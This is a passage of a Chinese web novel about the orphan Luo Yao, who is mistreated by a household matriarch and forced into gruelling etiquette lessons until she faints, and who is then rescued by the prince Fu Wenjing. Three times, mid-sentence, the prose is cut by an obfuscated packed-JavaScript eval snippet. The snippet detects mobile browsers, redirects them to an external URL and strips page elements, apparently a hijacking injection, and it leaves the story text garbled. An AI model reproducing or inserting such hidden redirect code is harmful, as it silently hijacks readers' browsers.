洛瑶眼神一亮,歪了歪脑袋,“当真?” “当真。” “那好,”洛瑶拉起安玥的手指,小拇指拉钩,“那就说好了,以后我若是在王府被欺负了,玥姐姐你一定要来帮我。” 安玥一番插科打诨,洛瑶心情好受多了,安阳伯府派人来找安玥,安玥离开后,洛瑶在茶楼也坐不久,便回了王府。 * 马车缓慢行驶,夕阳西下,天边染成了血红色,路旁的野花盛开,叽叽喳喳似的,热闹非凡。 洛瑶赶在申末酉初时分回到王府,林公公担心傅老夫人怠慢洛瑶,在门口候着,见到洛瑶马车过来,赶忙上前迎接。 “姑娘可玩得开心?” 林公公扶洛瑶下马车,这两日傅老夫人回来,立马架空了他这个王府总管职务,他手上的活都由傅老夫人身边的马嬷嬷代替。 闲来无事,林公公杵在门口和守门侍卫聊天,顺带等洛瑶回府。 别的不重要,反正他都干了几十年了,架空也好,他还能休息一番,顺带陪姑娘玩儿,姑娘漂亮又可爱,总比对后院那群糟老头子管事好多了。 洛瑶轻轻嗯了一声,嘴角翘起,脸颊的酒窝若隐若现。 “公公今日怎么这么有空?”洛瑶把手中的野花束塞给林公公,“这是给公公的,希望公公每天都能像花一样,开心灿烂,青春永驻。” 林公公被洛瑶这两句哄得心花怒放,在傅老夫人那受的气瞬间消失了。 “哎哟,老奴谢过姑娘了,姑娘眼光真好,这花也挑得极其好看。”林公公炫耀似地瞥了眼月芽,看到月芽气鼓鼓看着自己,心里更舒坦了。 谁让这小丫头天天呛自己。 “哎呀,月芽原来你没有呀,那公公送你一支。” 月芽冷哼一声背过身。 两人打趣惹得洛瑶忍不住笑出来。 三人边走边聊,到了主院,洛瑶却被人拦下来。 “这里是王爷的院子,闲杂人等不许入内。”守门的婆子气势汹汹,一双倒三角眼上下扫视洛瑶。 月芽眉头一拧,跻身上前,“什么闲杂人,我家姑娘就住在主院。” 守门婆子冷哼,阴阳怪气道:“长得确实不错,不过是只狐狸精,娉为妻,奔为妾,一个姑娘家无名无分住在王爷院里算什么。” “老夫人说了,姑娘年纪也不小了,男女有别,为了王爷的名声,该自己住了。” 洛瑶压着心中怒火,咬着嘴唇,“我的东西还在里面。” 婆子下巴微抬,指了指旁边的几个箱笼,“诺,都在那,姑娘清点一下,齐了没。” “若是没齐,老婆子我也没办法,只能委屈姑娘了。”婆子嘴上说的话看似恭敬,实则预期神态皆是不屑。 “劳烦公公找几个人帮我把东西搬到浅云居,月芽你去清点一番。” 洛瑶素来好脾气,但好脾气不代表任人拿捏,泥人也有三分性子,吩咐后洛瑶转身准备回浅云居,却被马嬷嬷叫住。 马嬷嬷从外面走来,朝洛瑶福了福身,“姑娘回来正好,老夫人有请。” 洛瑶胸口起伏,月芽生怕她气过去,小声喊她。 “我没事。”洛瑶轻声回应,理了理衣裳,转头对马嬷嬷说道:“我刚从外面回来,能否容我先换身衣裳?” “老夫人等着姑娘呢,方才老夫人也说了,姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15178430|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是回来,直接过去即可。”马嬷嬷毕恭毕敬,语气不用洛瑶推辞。 “那好,还请嬷嬷带路。”洛瑶按住冲动的月芽,小声吩咐她先回屋收拾东西。 * 韶华阁里,傅老夫人坐在上首,齐静在她身后给她捏肩。 洛瑶到时,两人似乎聊得不畅快,脸色颇为凝重,加之齐静左脸微肿,不认真细看都看不出来。 “给老夫人请安。”洛瑶安安分分地行了个晚辈礼。 傅老夫人闭目养神,似乎没有听到洛瑶的声音,也不喊洛瑶起来,就这么晾着她。 等了小半盏茶时间,洛瑶快要撑不住了,傅老夫人才缓缓睁开眼,“起来吧。” “今日去哪了?”傅老夫人一下一下拨弄着茶盏,语气听不出情绪。 洛瑶站在下方,双手交叠放在小腹前,垂着眸子看地板上花砖,“和安阳伯府的姑娘小聚。” 清脆的“当啷”一声,茶盏盖子应声而落,在洛瑶面前粉粉碎。 “你倒是好兴致,你眼里可还有我这个老夫人?有心思出去和别人小聚,你可有来我这晨昏定省?”傅老夫人抓住洛瑶的错处开涮。 这两日,听府里下人说这两年的事情,傅老夫人越听越烦躁,这洛瑶不就是当初荣安长公主的翻版么,若再这样下去,不仅傅闻璟听她指使,这晋王府也在她股掌之中。 这种脱力感,就像当初荣安嫁给傅庭懿那样,甚至更重。 洛瑶听她的斥责,深感安玥说的对,傅老夫人不知道怎么就发疯似地立规矩。 洛瑶心下了然,不和傅老夫人正面交锋,十分乖巧地认错,“是,老夫人说的是,明儿起,阿瑶定会每日给您请安。” 洛瑶低头的速度比傅老夫人想象得要快,一时间老夫人抓不住洛瑶其他错处,摆摆手让她先行离去。 回到浅云居,月芽听洛瑶说了方才的事,气不过要出门理论,林公公连忙把人拦下,“姑奶奶,你冷静些,冷静些,如今你我都是下人,她是主子,咱们只能避避风头。” 月芽冷哼,没理林公公,去给洛瑶烧热水泡脚。 这遭瘟的老婆子,就会天天磋磨姑娘。 林公公见月芽离开,还是无奈叹气,“老夫人就是这样,先前长公主在时,也是这般挑长公主的错处,随便寻了个由头来责罚。” “长公主殿下也由着她乱来?” 林公公点头又摇头,“一开始,长公主想着家和万事兴,就顺着她意思,可是老夫人不是这么想,越发变本加厉,后来长公主便不理她了。” “老夫人为何要这么做?” 林公公叹道:“老奴听闻,老夫人年轻爬床,成了老侯爷的通房,当时侯夫人脾气差,对老夫人没什么好脸色,老夫人隐忍到侯夫人去世后,又花了好几年,终于抬为平妻,却一直不得封诰命,又没有子女傍身,到老侯爷去世,老夫人脾气越发乖戾。” “按你的意思是,老夫人出身低微,加上一直没有掌握府中中馈,等到长公主下嫁后,老夫人害怕又回到当初侯夫人还在世时那样?所以才会做出这样的举动?” 洛瑶不明所以,“可是,为什么要这样对我?” 林公公摇头,或许老夫人发现王爷喜爱姑娘,害怕姑娘是第二个长公主? 这都是猜测罢了,真正的原因或许只有傅老夫人自己才知道。 18. 第 18 章 洛瑶一直秉持着,想不通就别逼自己想的原则,当天晚上早早便歇息了,次日卯正时分便去韶华阁请安。 不巧的是,傅老夫人还没有睡醒,洛瑶便麻烦马嬷嬷请傅老夫人起床。 “姑娘这不妥吧,哪有来请安,还让长辈起身的,平日里都得候着。” 洛瑶心知老夫人是在磋磨自己,没有生气,笑吟吟的回应,“昨儿老夫人说让我晨昏定省,但今日安阳伯府的姑娘约了我一早上出去,便想着早些来,没想到这般不巧了。” “嬷嬷不如帮忙通传一下?我给老夫人请个安,便得去赴安姑娘的约了。” 马嬷嬷有张良计,洛瑶有过墙梯。 傅老夫人年纪大,觉浅,加上韶华阁不大,洛瑶和马嬷嬷说话的声音,传到了内屋,傅老夫人便醒过来了。 小丫头给傅老夫人梳洗,本来傅老夫人平日里就不好亲近,如今早早醒来,沉着脸,吓得小丫头半句话都不敢说,战战兢兢,生怕傅老夫人一不高兴便责罚他们。 洛瑶微提裙摆,步履盈盈,对着坐在上首的老夫人款款福身,“阿瑶给老夫人请安。” “起来吧。”语气说不上很好,但带着浓浓困意。 傅老夫人本打算给洛瑶个下马威,但是昨夜本就睡不好,如今困意正盛,摆摆手让洛瑶退下。 中午用饭后,洛瑶习惯性午休,但想起傅老夫人说的请安,洛瑶让月芽整理发髻,换好衣服,又到了韶华阁。 老夫人刚上榻,就听到马嬷嬷进来说洛瑶来跟她请安,老夫人本打算不见,但一旁的齐静却说,“姑祖母昨日让她晨昏定省,一日三请安,如今却不见人,怕是说不过去。” 为了面子,老夫人挣扎着起身,见了洛瑶。 洛瑶给她请安后,又在上韶华阁和齐静说话,时不时提一下傅老夫人。直到傅老夫人不耐烦把洛瑶赶走。 当天夜里,洛瑶亥正时分,又赶到了韶华阁请安,傅老夫人早已躺下,洛瑶站在卧房门口,清了清嗓子,“阿瑶给老夫人请安。” 良久,洛瑶总算听到了一句沉重的“行了,退下吧”,便和月芽一前一后离开。 出了韶华阁,洛瑶和月芽对视,忍不住噗嗤笑出来。 一连三四日,洛瑶在卯正、午正和亥正时分雷打不动一日三次请安。每次请安饶了一圈回来,洛瑶倒头就睡,这三四日下来,反倒是傅老夫人受不了。 最后傅老夫人不得不放弃在请安上磋磨洛瑶的想法。 “哈哈哈,太妙了!” 安玥靠在洛瑶身上笑得花枝乱颤,她原本还担心这几天洛瑶被磋磨,本想递帖子探望的,但家中又抽不出身来。 洛瑶哼了声,“光脚不怕穿鞋的,请安可是双向的,还好我提前问了林公公她平日什么时辰歇息,苦谁都不能只苦我自己。” “真不愧是你,我以为傅闻璟不在你一定会被她欺负,没想到我们阿瑶还是只带利爪的小猫咪,必要时候会亮出锋利的爪子。” 安玥捏捏洛瑶白玉豆腐一般的脸颊,恨不得在上面啜一口。 两人相聚时间不长,安玥不久后要去金州拜寿,得回府早早准备起来。 * 洛瑶辞别安玥,回到王府时,马嬷嬷又在浅云居等着她。 “姑娘,老夫人有请。” 同样的场景,同样的人,洛瑶怀疑自己是不是时空穿梭了。 “还请嬷嬷带路。” 再一次踏进韶华阁,傅老夫人精神头好了不少,难怪又开始折磨我了。洛瑶心想。 “来了,坐吧。” 洛瑶福了福身字,在一旁的椅子上坐下。老夫人浑浊眼眸盯着洛瑶的一举一动,等到洛瑶坐下后,开始摇头叹气。 洛瑶稳如泰山,丝毫没有被傅老夫人的动静影响,端起茶盏,轻轻吹开上面的附魔,浅啜了口。 见洛瑶没有反应,傅老夫人心中不快,但又不好表现出来,她清了清嗓子,让马嬷嬷把外头的人叫进来。 又是一个嬷嬷,头发梳的一丝不苟,动作端正又古板。 洛瑶眉头一跳,心中涌起不好的预感。之间傅老夫人指了指自己,又指了指那个嬷嬷,“明日开始,便让钱嬷嬷教导你规矩吧。” “你名义上是王府的表姑娘,出去则代表王府的脸面,我听人说,花神节时你和刘刺史府上的姑娘闹起来了?” “虽不知全貌,但我也要说说你,刘刺史在淮南府也排得上名号,他家的姑娘哪能是你质疑得了的!” “闻璟也太没将你放心上了,来府上两年,都没让人教你规矩,说出去也不怕人笑话。” 这些话,要是一年以前当年刚来淮南府的洛瑶,听了肯定会难受,但对如今的洛瑶起不了一点影响。 洛瑶起身应了声是,又问起在哪里学规矩,傅老夫人想了会,便让马嬷嬷准备准备,以后就在韶华阁学规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194856|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩。 然后又在洛瑶离开之前,强调辰正时分一定要到韶华阁,等洛瑶应下,又嘱咐钱嬷嬷,“尽心教导。” 钱嬷嬷经历了不少大风大浪,也是个人精,一听这句话,就猜到洛瑶和傅老夫人两人关系不和,连忙应是。 * 次日一早,洛瑶到了韶华阁,钱嬷嬷早已在院中做好准备。 见洛瑶来了,钱嬷嬷看了眼更漏,板着脸说道:“姑娘迟到了,如今已过辰正。” “哪里过了!明明我们出门还有一刻钟才到辰正。” 月芽气得要跟她理论。 洛瑶把月芽拉到身后,“小丫头不懂事,嬷嬷别生气。” “小姐!” 月芽不服气,但又被洛瑶挡在身后,只能气鼓鼓盯着钱嬷嬷。 “姑娘身边的丫鬟也太不懂事了,这要是出去,怕是会丢了王府的脸面。” “你!” 洛瑶微微侧目瞥了眼月芽,扯了扯嘴角,“不止钱嬷嬷的规矩是怎样,月芽是我的丫头,我还没有教训她,怎么婆婆就帮忙教训了,这就是嬷嬷的规矩?” 洛瑶这两年跟傅闻璟同吃同住,唬人的本领倒是学得十成十,冷脸时,连林公公都有些发憷。 钱嬷嬷倒是没想到洛瑶这般牙尖嘴利,一旁又是林公公和马嬷嬷。 钱嬷嬷只好尴尬地呵呵一笑,“姑娘说笑了,时候不早了,咱们还是开始吧。” “嬷嬷请吧。” “那咱们今日从站姿说起,”钱嬷嬷瞟了眼洛瑶,挺直了腰背,“古人云,站如松,所以咱们站的时候,肩膀要打开,不能塌腰。” 说着就拿着鞭子轻拍了拍洛瑶的后腰,“姑娘腰背软了,人的精气神就没了。” 钱嬷嬷往一旁看过去,见到马嬷嬷微微点头,林公公不知所踪,胆子便大了起来。 “姑娘头上需顶些东西,这样才会更标准,”说着,就放了一本书在洛瑶头顶,“姑娘先顶着站一会,等会咱们再学如何走。” 马嬷嬷见状,满意地点头,倒是悄悄地回了内屋,跟傅老夫人禀报。 钱嬷嬷见没有其他人在,便松懈下来,在一旁坐下,翘着二郎腿喝茶。 月芽看得直窝火,但这里是韶华阁,不是主院也不是浅云居,方才自己的莽撞,说不定老夫人给老夫人借口继续磋磨小姐。 洛瑶倒是没有什么,像是老神入定一样得直直的。 19. 第 19 章 洛瑶累了一天,夜里回到浅云居后,月芽心疼地给她热敷。 “姑娘,何必这样呢。”月芽语气里满是担忧。 “我也不想呀,但如今府上她一人多大,早知道我当初就不跟她客气了。”洛瑶捶着后腰,哼了声。 林公公赶回府上时,洛瑶已经准备歇息。 林公公隔着屏风轻唤洛瑶,“姑娘,王爷过两日就回来了,如今江南匪患已定,王爷正在衙署写折子递给陛下。” 洛瑶一骨碌爬起来,语气里满是兴奋,“真的?” “真的,这是王爷让我带给姑娘的,说是路上看到,想来姑娘喜欢。” 洛瑶打开盒子,是一副玉制的九连环,玉环相碰,声音清脆。 林公公见洛瑶爱不释手,也跟着笑起来,“姑娘喜欢就好,王爷还嘱咐,姑娘记得吃饭喝药。” “好,公公也跟哥哥说,要照顾好自己,若是累着了,阿瑶会心疼。” 林公公笑着应好,又让洛瑶赶紧歇息,去主院拿几套换衣裳去了府衙。 洛瑶抱着九连环如梦,这一夜睡得极好,梦里满是傅闻璟的身影,梦中的气息像她吃的黄金糕一样甜甜的。 * 一连几日,洛瑶用了早饭后便去韶华阁,私下里,洛瑶戏称自己这般,跟京中的臣子上朝点卯一般。 第一日,月芽和钱嬷嬷争执了几句话,传到了傅老夫人耳边,第二日就不允许丫鬟婆子在一旁陪着,月芽之后送洛瑶到韶华阁,又回浅云居忙别的事情。 一日早上,洛瑶一觉醒来,发现寝衣都湿了,外头的蝉开始鸣叫。月芽捧着铜盆进来,见洛瑶寝衣上是汗印子,连忙给洛瑶换了一身衣裳。 “今日开始便是夏天了,往年姑娘苦夏,不如我让厨提前准备些开胃的吃食,免得姑娘从韶华阁回来,什么都不下。” “也好,平日拿到藕尖倒是不错。” 月芽笑道:“难得听到姑娘说想吃的,我这就让人去准备。” 洛瑶到了韶华阁,许是前些日子钱嬷嬷的“教学成果”不错,今日院中小圆桌上竟然有各种糕点水果。 “姑娘,咱们开始吧。” 钱嬷嬷的招数还是一如既往,让洛瑶顶着本书在太阳底下走动,自己则是翘着二郎腿品茗吃点心。 许是今日的阳光太耀眼了,洛瑶总觉得眼前一片恍惚,闭眼又睁开,依旧是一片模糊。 豆大的汗珠从额角留下来,湮湿了头发,洛瑶走得摇摇晃晃,汗水越来越多,艳阳高照下,洛瑶竟觉得后背有丝丝凉意。 一步、两步、转身……洛瑶两眼一翻晕倒了。 “来人呐,快来人!”钱嬷嬷声音着急。 “怎么了,大呼小叫。” 马嬷嬷走出来,看到晕在地上的洛瑶,连忙让人抬进屋里,又让人请了大夫,一阵兵荒马乱,洛瑶总算醒过来,顶着一张苍白的脸蛋和月芽对视。 “老夫人,姑娘身子不适,奴婢先带姑娘回屋休息了。” 月芽不由分说,拦腰抱起洛瑶就往外面走。 钱嬷嬷忧心忡忡目送两人离开,她不过是听老夫人安排教导姑娘规矩罢了,这要是闹出人命,那可咋办。 “你最近教得挺好的,”马嬷嬷塞了个钱包给钱嬷嬷,“姑娘身子弱了些,过两日好些了,你继续教。” * 洛瑶回到浅云居后,又请了府医过来。脾气古怪的老头子给洛瑶扎了几针,又重新开了药方,嘱咐洛瑶好生歇息,不可劳累,数落了几句这才离开。 “我就说老夫人不安好心,”月芽忿忿不平,给洛瑶擦脸,“这林公公又跑哪去了,一天天地不见人影。” 洛瑶紧闭着双眼,耳边是月芽的声音,自己则像是在梦魇中,前面一团迷雾,忽然出现了几张脸庞,拉着她说好多奇怪的话。 洛瑶挣扎着睁开眼,和月芽对上视线,月芽狠狠松了一口气。 方才月芽出去熬药,回来却看到洛瑶一直没醒过来,便在一旁等着,等了许久都没有等到反应,又喊了好多次,洛瑶还是紧闭双眼,咬着下唇,额角不断冒汗,似乎在承受极大的痛苦。 “我怎么了?”洛瑶声音沙哑。 “姑娘昏睡过去了,许是梦魇吧,如今没事了,姑娘放宽心。”月芽情绪不高,声音里能听出鼻音来。 靠着月芽,洛瑶把喝了药,又睡过去,但依旧是睡得不安稳。 过了两日,洛瑶堪堪好转,马嬷嬷便来了浅云居。 “姑娘身子可好些了?” 洛瑶点头,“好些了。” “既然如此,老夫人说了,功课不可荒废,姑娘身子尚且太虚了,还请姑娘明日起到,继续到韶华阁学习规矩。” 马嬷嬷说完,福了福身子便离开。 洛瑶长叹气,这老夫人是想让她知难而退吗。还有哥哥什么时候回来啊,不是说两三日么,如今都过了五六日了。 一日一早,洛瑶起身,换上轻薄透气的衣裳,素白着一张小脸去了韶华阁,给老夫人请了安后,到了前院。 “老夫人说姑娘身子弱,需要以毒攻毒,今日的课业较重,还请姑娘心中有数。” 钱嬷嬷这话说得看似恭敬,但却品得出狐假虎威的味道。 洛瑶没有应她,钱嬷嬷挑起一侧眉毛,将一个花瓶放在洛瑶的发髻上。 花瓶不大,但很重,放上去的一瞬间,洛瑶觉得头上顶着千斤重。洛瑶的倔脾气也上来了,站着不肯挪。 钱嬷嬷虽说有老夫人口头撑腰,但在京城浸淫多年,也是知道,两虎相争,一旦出了事,自己便是替死鬼,因而对洛瑶的行为睁一只眼闭一只眼。 太阳逐渐升起,尚未到晌午,日头便已毒辣不少。钱嬷嬷不管洛瑶,自顾自地坐这喝茶吃果子,洛瑶站着觉得太阳越发大了,身上也出了不少汗,衣裙早已湿透。 那种恍惚的感觉又来了,周遭事物开始晃动,眼前的人出现了重影。 是我的幻觉么?怎么看到了哥哥?洛瑶昏迷前最后的想法。 “阿瑶!”傅闻璟一个箭步,接住软软倒下的洛瑶,花瓶应声而碎,钱嬷嬷战战兢兢跪在地上。 傅闻璟抱着洛瑶连连喊了好几声,都没看到洛瑶的反应,立马把人抱起,飞快回到主院。 府医又来了,又给洛瑶扎了针,喂了药丸,洛瑶急促的呼吸才平缓下来。 主院屋里放了冰鉴,傅闻璟给洛瑶掖好被角,沉着脸出了里屋。 “怎么回事。”傅闻璟眉头紧拧,语气逼人。 在主院伺候的人你看我我看你,垂着脑袋不敢说话,生怕说错话,惹恼了傅闻璟。 毕竟在他们看来,傅闻璟可是连老夫人的面子都不会给。 “王爷不在的时候,一个个牙尖嘴利的,王爷回来了,一个个跟锯了嘴的葫芦似的。” 月芽气冲冲从屋里出来,指着屋里其他伺候的人骂道:“都以为攀上老夫人就万事大吉了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223635|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们怕得罪人不敢说,那我说,可别让我说出好听的。” “王爷外出剿匪期间,老夫人从渔阳回来,姑娘去请安,老夫人说姑娘是狐媚子,又说姑娘不懂规矩,没有王府姑娘风范,让人把姑娘的东西搬出主院,挪到浅云居,前不久还找了个京城来的嬷嬷,说是教姑娘规矩。” “姑娘本身身子就弱,这次已经是第一次晕倒了,奴婢以为原本姑娘第一次晕倒,老夫人会就作罢,没想到还是让姑娘去韶华阁学规矩,还不允许奴婢跟在姑娘身边。” “林树德。” 傅闻璟第一次喊林公公的全名,声音凉得可以冻死人。 “确实是这样,老夫人在您去沧州时,从渔阳老宅过来了,到了王府便要大刀阔斧整改,奴才的活儿也让人替了。” 林公公说完,偷偷觑了眼,“王爷,方才韶华阁派人把那婆子送过来了。” “杖三十,逐出府。” 傅闻璟嗓音越发冰冷,“告诉韶华阁那边,若想在王府住下去,便给我安安分分,既然说我凉薄,我也不介意再送回渔阳。” * 夜半,洛瑶总算是醒过来,睁开眼看到是心心念念的人,以为是幻觉,闭上又睁开,两行眼泪唰地留下来。 “哥哥……” 从被窝里伸出双手,哼哼唧唧地要抱。 傅闻璟放下手里的书,坐在床边,倾身上前,把人扶起来,洛瑶纤细的手臂紧紧抱着傅闻璟精瘦的腰身,杏眼含着一包泪,似乎一眨眼就能落下来。 “没事了。”傅闻璟摸摸她的脑袋,温声道。 不说还好,傅闻璟一说话,洛瑶的眼泪就控制不住落下来,一开始无声流泪,转而小声啜泣,最后抱着小被子嚎啕大哭。 傅闻璟沉着脸一下一下拍着她后背安抚,心中像是被巨石压着一般难受。 在廊下候着的林公公听着洛瑶的哭声,眼里泛起了泪花,月芽嫌弃地抽出条手绢,甩给他,“擦擦,太埋汰了。” 林公公正准备感触地让月芽做他地干女儿,却被月芽提前打断,“我现在对什么爹娘烦得很,别让我做你干闺女。” 屋里,洛瑶哭了一会,总算是停了。 “哥哥再不回来,以后就见不到阿瑶了。”说着,洛瑶毛茸茸的小脑袋蹭了蹭傅闻璟的手。 “阿瑶都要以为自己见不到哥哥了,那个太阳好大好大,阿瑶身上都是汗,眼前的东西天旋地转,像个漩涡一样,要把阿瑶吞噬进去。” “老夫人也好凶,她不许阿瑶喊她祖母,说阿瑶不过是个来打秋风的孤女,是个狐媚子。” “哥哥,打秋风和狐媚子是什么?”洛瑶睁着打眼好奇问道,哭过的杏眼像是雨后的天空,干净纯粹。 傅闻璟的手不自觉地收紧,直到洛瑶小声喊了声“疼”,才反应过来,自己无意识握上洛瑶的小手,柔声道歉,“对不起,我一时出神。” “老夫人说的话,不必理他。” “这次是我忽略了,不会再有下次了,对不起。” 洛瑶哦了一声,拉起傅闻璟的大手,“哥哥不需要跟阿瑶道歉,这不是哥哥的错。” “那哥哥,为什么林公公说她不喜欢你?” “她不是不喜欢我,是不喜欢我母亲,恨乌及屋。” “那既然她恨乌及屋,为什么还要千里迢迢来王府,不是自找苦吃么?”洛瑶像个好奇宝宝一样。 傅闻璟扯了扯嘴角,是啊,为什么呢。 20. 第 20 章 第二天,洛瑶醒来时,傅闻璟已经去了衙署。洛瑶洗漱又用饭后,月芽说齐静来了。 “齐姐姐你怎么来了,快来坐。”洛瑶朝她招招手。 齐静提着裙摆落座,“来看看你。” 洛瑶脸色还是苍白,甚至没有第一次见面的红润。齐静心中暗叹,不着痕迹地抚上自己的手臂,都是苦命人。 方才齐静先是去了浅云居,浅云居的洒扫丫鬟说洛瑶并未回来。 齐静便以为洛瑶在别处歇息,准备离开时,遇到了洛瑶的贴身婢女月芽,这才知道,洛瑶回了主院休养。 齐静偷偷打量着主院的布置,不能用简洁来形容,更像是冷清,显然是傅闻璟的住所,如今却是洛瑶在休息。 月芽捧了茶上来,又安排了些瓜果茶点,齐静目送月芽下去后,才试探性问道:“阿瑶,你和王爷……” 洛瑶拿点心的手一顿,藏在眼睑后的眼珠子心虚地左右转动,好一会,那股心虚劲儿才缓过来,微微侧着头,疑惑地看着齐静,“啊?” “王爷,你和他……” “他是我哥哥呀。”洛瑶把点心放进嘴里,没发觉是拿了枣泥酥饼,轻轻一抿,酥皮掉在了手上、桌上、腿上。 尴尬了……洛瑶心想。 心虚的时候,人就会有很多动作,洛瑶惊得站了起来,圆凳子跟着她的动作发出一阵刺耳的声音,又是拿帕子清理衣裙。 齐静也帮忙清理,对上洛瑶心虚的视线,嘴角微微勾起,倒是没挑破洛瑶的小心思。 “阿瑶平日做什么?” 洛瑶换了一身衣裙出来,齐静看着简洁的屋子不禁问道。 洛瑶抿了口茶水,“和大白还有咪咪一起玩,有时候会看画本子。” “话本子?”齐静眼睛一亮,“能给我看看吗?” 齐静自从被接到渔阳后,傅老夫人严苛的管教下,别说话本子了,连生人都没见过几次。 “当然可以!”说着洛瑶便让月芽把画本子拿出来,又让人去兽舍把小花带过来。 月芽把洛瑶珍藏的画本子递给齐静,齐静一愣,原来是这个画本子。上面都是画的小人像,齐静还以为是话本子。 “怎么了?” 洛瑶看齐静没说话,以为是自己的画本子有什么问题,连忙凑过去。 没问题呀,人物栩栩如生,画工了得。 “没什么,我以为是另一种的话本子。”齐静笑笑,接着翻看起来。 另外的?洛瑶秀气的眉毛拧起来,想了许久,才反应过来齐静说的是话本子,她不好意思地嘿嘿一笑,“因为我不认识字,所以让月芽找的都是画本子。” 听到这个理由,齐静倒是一愣,她想过很多种可能,唯独没有往这方面去想。 “为何?” 齐静声音小,带着不确定,刚说完就听到了林公公咳了一声。 “嗯……应该是我伤到脑子了?我只有这两年的记忆,什么都不记得了,可能我以前学过?” 洛瑶见齐静神色抱歉,好看的眉头蹙起,小手一挥,没有丝毫介意,“没事,说不定以后我恢复记忆了,就认识字了,到时候就能看话本子了。” 喵呜。 小花的喵了一声,挣扎跳出丫鬟的怀抱,两条小短腿一用力,跳上洛瑶腿上。 齐静看洛瑶抱着小花坐在榻上,长毛猫容易掉毛,不一会,上好锦缎就被小花抓出一条条痕迹,上面还有小花的毛发。 这……王爷不会生气吗?姑祖母不是说王爷不喜小动物,不允许她把二丫带在身边。齐静虽好奇,但谨小慎微惯了,不敢多问。 “齐姐姐,你摸摸,小花可乖了,不会伤人的。” 洛瑶抱起小花,示意齐静一起撸猫。齐静眼馋,也甚是想念二丫,没有抵住诱惑,凑到洛瑶身边,试探性伸手撸了一把小花。 小花是一只异瞳纯白长毛狮子猫,性格温驯,确实是不会伤人,但也确实很傲娇,扭转身子用屁股对着齐静。 两人凑到一处,就着养猫互相分享经验,一聊就将近夜里了。 * “王爷。” 外头的小厮请安声传进来,齐静撸着小花的手一顿,笑着起身,“时候不早了,我也该回去了。” 正准备离开时,傅闻璟拎着个食盒进来,齐静连忙请安,傅闻璟淡淡应了声,想起了昨日洛瑶的问题,又看了眼抱着狮子猫蹦蹦跳跳上前的洛瑶,傅闻璟挑了挑眉。 “哥哥,你看小花重了好多。” 洛瑶抓着小花的前爪跟傅闻璟打招呼,“来跟我说,给王爷请安。” 小花重,洛瑶力气小,抱着小花整只猫下坠,洛瑶还抓着小花的爪子,场面十分滑稽,傅闻璟单手拎起小花,递给身后的林公公,“带回去吧。” 就着一会的功夫,黑色锦袍沾上了白色猫毛,傅闻璟神色淡然地掸了掸身上,“去洗手,我给你带了飘香居的甜豆糕。” “真的?!哥哥等我马上来,”洛瑶等都不等月芽端水过来,撒开腿往外跑,恍然记起齐静也在,“齐姐姐快些,飘香居的甜豆糕最好吃了,可难买到的。” 转身抓着齐静一起跑出去,动作一气呵成。 没多久,洛瑶拉着齐静落座,打开食盒,神色虔诚地马上要立地成佛。 甜豆糕色泽金黄,外面浇了一层晶莹透亮的蜂蜜,撒上桂花,香味扑鼻而来。洛瑶夹起一块放进嘴里,好吃得眯起了眼。 齐静坐在一旁,傅闻璟的存在感太强了,强到她想逃走。 “吃的像个小花猫一样。”傅闻璟拿着帕子给洛瑶擦嘴。 “谢谢哥哥,哥哥吃,”洛瑶举起一块甜豆糕放在傅闻璟嘴边,“可好吃了,哥哥快吃,不然阿瑶就要吃光了。” 傅闻璟笑笑,推开她的手,“你吃吧,给你买的。” 洛瑶双眼一亮,又塞了一块甜豆糕进嘴里,含糊应了声好,又招呼齐静一起吃。 齐静看了眼傅闻璟,垂眸,夹起一块豆糕放进嘴里。 口感香甜细腻,确实是好东西。 洛瑶吃得着急,傅闻璟给她倒了水,又给她拿了帕子,没有半点不耐烦,看得齐静很是好奇。 洛瑶吃饱喝足,打了个嗝,立刻不好意思捂着嘴,一双猫眼心虚地来回看。 傅闻璟失笑,洛瑶捂着脸害羞地举起帕子挡住自己的小脸。 过了好一会,洛瑶跑进里屋拿了条五彩缕出来,拉着傅闻璟的手系上去。 “原本打算端阳节那日给哥哥的,但哥哥那时候不在府上,昨日哥哥回来,阿瑶又晕乎乎的,今日总算想起来了,五彩丝系臂,辟鬼及兵,令人不病瘟,哥哥要长命百岁。” 傅闻璟眉头一跳,目光触及五彩缕,五彩缕精巧,甚至比外面买的好看不少,猜到洛瑶花了大功夫,“谢谢阿瑶。” 此情此景,齐静觉得自己是局外人,她不禁也想起越州城的那个人,不过却是越想越心酸。 “时候不早了,我先告辞,”齐静轻咬下唇,鼻尖发酸,垂着眸子,她也不好意思再坐下去,起身告退。 洛瑶见她起身,便送她出门,在院子里跟她挥手道别,“齐姐姐,明天记得找我玩。” 等齐静人走远了,傅闻璟垂着眸,“你很喜欢她?” “喜欢!” “阿瑶除 